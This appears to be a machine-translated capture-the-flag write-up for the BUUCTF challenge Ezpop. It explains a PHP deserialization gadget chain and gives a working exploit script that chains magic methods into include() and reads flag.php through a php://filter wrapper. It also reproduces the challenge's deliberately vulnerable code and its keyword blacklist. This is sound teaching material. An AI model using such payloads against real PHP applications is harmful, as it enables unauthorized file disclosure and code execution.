Buuctf breakthrough diary --[mrctf2020]ezpop1

Enter the page , Familiar code audit

There's a hint flag.php 

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
>

Let's look at the key code first

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Yes pop deserialize , Let the reverse order output what we want falg

Analysis class :

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

There is a magic function in it __invoke, This function will trigger when the script attempts to call the object as a function

because __invoke Called append, There is a file containing , We can put what we want flag Bring it out

So we need to trigger __invoke

Look at the next class :

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

__construct Automatically called when an object is created , Basically, it must trigger

__get, This magic function is used to access the properties of some inaccessible data   Like private properties

You can see __get Li attribute p Will be executed as a function , To satisfy the Modifier Inside __invoke, So now we need to trigger __get, Magical function __get It will be called automatically when accessing a non-existent property in the class

Look at the next class :

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }

__tostring When an object is treated as a character, it triggers , You can see a regular match below , It's a source This object is treated as a matching object , So it can trigger , So how to trigger __wakeup,__wakeup When the sequence is reversed, it will call , So a closed loop is formed

unserialize->__wakeup->__tostring-> call class test-> Accepted source It doesn't exist -> call __get-> call __invoke->include()

So we need to include() It contains our flag

structure EXP:

<?php
class Modifier {
    protected  $var="flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; // assignment Test Class object $t Properties under p by Modifier Class object $m, Trigger __invoke Magic methods 
$s->str= $t;// assignment Show Class object $s Under the str Array of str Key value is  Test Class object $t , Trigger __get Magic methods .
$s->source = $s;// Make  Show Class object $s Under the source The attribute value is assigned in the previous step $s object , Thus, the object is called and triggered as a string .__tostring Magic methods 
echo urlencode((serialize($s)));

urlencode Because protected It's a private property

After serialization of objects with different attributes, the character format is different

Private attribute ： data type : Property name length :"\00 Class name \00 Property name "; data type : Property value length :" Property value ";

Protected attribute ： data type : Property name length :"\00*\00 Property name "; data type : Property value length :" Property value ";

  You can see that there is \00 If output directly, it will be directly omitted

After visiting, you will find

So we put  

protected  $var="flag.php";

This place uses pseudo protocol to get flag.php file

Change to

protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

obtain

Decode :

obtain flag